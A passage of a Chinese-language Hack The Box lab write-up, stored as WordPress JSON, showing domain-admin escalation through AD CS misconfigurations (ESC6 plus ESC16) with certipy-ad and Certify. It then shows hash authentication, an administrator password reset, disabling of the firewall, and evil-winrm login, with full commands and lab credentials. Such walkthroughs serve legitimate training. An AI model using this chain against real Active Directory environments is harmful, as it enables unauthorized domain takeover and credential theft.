ESC\u7ec4\u5408\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u6210\u529f\u83b7\u53d6<code>gMSA_CA_prod<\/code>\u7528\u6237\u51ed\u636e\u540e\uff0c\u5c1d\u8bd5\u4e0a\u4f20<code>Certify<\/code>\u5de5\u5177\u8fdb\u884c\u8bc1\u4e66\u6f0f\u6d1e\u679a\u4e3e\uff08\u8be5\u5de5\u5177\u9700\u4f7f\u7528<code>Visual Studio 2022<\/code>\u7f16\u8bd1\uff09\uff1a<a href=\"https:\/\/github.com\/GhostPack\/Certify.git\" target=\"_blank\"  rel=\"nofollow\" >GitHub - GhostPack\/Certify: Active Directory certificate abuse.<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764492101908-ca0088b8-9b6e-4ba6-9f4c-b14f41de1b97.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-powershell\">.\/Certify.exe enum-cas --hide-admins --filter-vulnerable<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764493745579-d99f09d0-78ed-42eb-aee8-68820c116a60.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5f53\u524d\u7528\u6237<code>gMSA_CA_prod<\/code>\u5177\u6709<code>ManageCA<\/code>\u6743\u9650\uff0c\u8fd9\u610f\u5473\u7740\u53ea\u8981\u5c06\u5f53\u524d\u7528\u6237\u8d4b\u4e88<code>Certificate Officer<\/code>\u6743\u9650\uff0c\u5c31\u53ef\u4ee5\u4efb\u610f\u66f4\u6539\u8bc1\u4e66\u9881\u53d1\u673a\u6784<code>fries-DC01-CA<\/code>\u7684\u8bbe\u7f6e\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5f53\u524d\u7528\u6237\u8fd8\u5177\u6709<code>Enroll<\/code>\u7528\u6237\u8bc1\u4e66\u7684\u6743\u9650\uff0c\u4e14\u8bc1\u4e66\u6a21\u677f<code>User<\/code>\u5904\u4e8e\u6fc0\u6d3b\u72b6\u6001\u3002<\/p>\n<p>\u9274\u4e8e\u76ee\u524d\u6211\u4eec\u5df2\u7ecf\u83b7\u5f97\u57df\u8bc1\u4e66\u673a\u6784\u7684\u63a7\u5236\u6743\uff0c\u51b3\u5b9a\u901a\u8fc7\u5f00\u542f<code>CA<\/code>\u7684<code>EDITF_ATTRIBUTESUBJECTALTNAME2<\/code>\u53c2\u6570\uff08\u8be5\u53c2\u6570\u5f00\u542f\u65f6\u5141\u8bb8\u8bf7\u6c42\u8bc1\u4e66\u65f6\u6307\u5b9a\u4efb\u610f<code>SAN<\/code>\u540d\u79f0\uff09\u4ee5\u53ca\u5173\u95ed<code>szOID_NTDS_CA_SECURITY_EXT<\/code>\u5b89\u5168\u63d2\u4ef6\u7684\u65b9\u6cd5\u8fdb\u884c<code>ADCS<\/code>\u63d0\u6743\uff0c\u5373\u7ec4\u5408\u5229\u7528<code>ESC6<\/code>\u548c<code>ESC16<\/code>\u6f0f\u6d1e\u3002<\/p>\n<p>\u9996\u5148\u4f7f\u7528<code>certipy-ad<\/code>\u7684<code>ca<\/code>\u6a21\u5757\uff0c\u5229\u7528<code>ManageCA<\/code>\u6743\u9650\u8d4b\u4e88\u5f53\u524d\u7528\u6237<code>Certificate Officer<\/code>\u6743\u9650\uff1a<\/p>\n<pre><code class=\"language-powershell\">certipy-ad ca -u 'gMSA_CA_prod$'@fries.htb -hashes aad3b435b51404eeaad3b435b51404ee:fc20b3d3ec179c5339ca59fbefc18f4a -target dc01.fries.htb -dc-ip 10.10.11.96 -ca fries-DC01-CA -add-officer 'gMSA_CA_prod$'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764499436438-3cf88c78-df10-4d72-ac8b-147ac6ea6ff5.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6dfb\u52a0\u7ba1\u7406\u6743\u9650\uff01\u968f\u540e\u5229\u7528\u4e0a\u4f20\u7684<code>certify<\/code>\u5de5\u5177\u542f\u7528\u6307\u5b9a\u8bc1\u4e66<code>SAN<\/code>\u540d\u79f0\u529f\u80fd\uff0c\u5e76\u5173\u95ed\u8bc1\u4e66\u5b89\u5168\u63d2\u4ef6<\/p>\n<pre><code class=\"language-powershell\">.\/Certify.exe manage-ca --ca FRIES\\Fries-DC01-CA --esc6\n.\/Certify.exe manage-ca --ca FRIES\\Fries-DC01-CA --esc16<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764499696530-b3180893-186e-4e15-a201-96a2d5d068cc.png\" alt=\"\" \/><\/p>\n<p>\u64cd\u4f5c\u5b8c\u6210\u540e\u624b\u52a8\u91cd\u542f<code>certsvc<\/code>\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-powershell\">Stop-Service certsvc -Force\nStart-Service certsvc<\/code><\/pre>\n<p>\u7ecf\u8fc7\u5c1d\u8bd5\uff0c\u53d1\u73b0<code>gMSA_CA_prod<\/code>\u7528\u6237\u65e0\u6743\u8bf7\u6c42<code>User<\/code>\u8bc1\u4e66\u6a21\u677f\uff0c\u8f6c\u800c\u5c1d\u8bd5\u4f7f\u7528<code>svc_infra<\/code>\u7528\u6237\u8bf7\u6c42\uff1a<\/p>\n<pre><code class=\"language-shell\">certipy-ad req -u svc_infra@fries.htb -p \"m6tneOMAh5p0wQ0d\" -target dc01.fries.htb -dc-ip 10.10.11.96 -ca fries-DC01-CA -template User -upn Administrator@fries.htb -sid \"S-1-5-21-858338346-3861030516-3975240472-500\" -subject \"CN=Administrator,CN=Users,DC=fries,DC=htb\" -dcom<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764501068247-d1e27885-8faa-4930-8e9e-72cbac3688e5.png\" alt=\"\" \/><\/p>\n<p>\u8bf7\u6c42\u57df\u7ba1\u7406\u5458\u8bc1\u4e66\u6210\u529f\uff01\u6700\u540e\u4f7f\u7528\u83b7\u5f97\u7684\u8bc1\u4e66\u8fdb\u884c<code>NoPAC<\/code>\u8bf7\u6c42\uff0c\u83b7\u53d6\u57df\u7ba1\u7406\u5458\u5bc6\u7801\u54c8\u5e0c\uff1a<\/p>\n<pre><code class=\"language-shell\">certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.96 -domain fries.htb -username administrator<\/code><\/pre>\n<p>\u968f\u540e\u9a8c\u8bc1\u51ed\u636e\uff1a<\/p>\n<pre><code class=\"language-shell\">crackmapexec smb dc01.fries.htb -d fries.htb -u Administrator -H \"a773cb05d79273299a684a23ede56748\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764501250221-528d53b0-2282-4df7-bf9c-00e6231590e8.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u57df\u7ba1\u7406\u5458\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u57df\uff1a<code>fries.htb<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>Administrator<\/code><\/li>\n<li><code>NTLM<\/code>\u54c8\u5e0c\uff1a<code>a773cb05d79273299a684a23ede56748<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u4fee\u6539\u5bc6\u7801\u3001\u5173\u95ed\u9632\u706b\u5899\uff0c\u901a\u8fc7<code>WinRM<\/code>\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-shell\">crackmapexec smb dc01.fries.htb -d fries.htb -u Administrator -H \"a773cb05d79273299a684a23ede56748\" -x \"net user Administrator Asd310056 \/domain\"\ncrackmapexec smb dc01.fries.htb -d fries.htb -u Administrator -p \"Asd310056\" -x \"netsh advfirewall set allprofiles state off\"\nevil-winrm -i dc01.fries.htb -u Administrator -p \"Asd310056\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1764501637361-e5cd8063-d7c7-4b6e-b73f-848d8c4aa826.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.96\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09 \u9898\u76ee\u51ed\u636e\uff1ad.cooper@fries.htb \/ D4LE11ma &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[19,13],"tags":[],"class_list":["post-344","post","type-post","status-publish","format-standard","hentry","category-htb_season_9","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=344"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/344\/revisions"}],"predecessor-version":[{"id":345,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/344\/revisions\/345"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}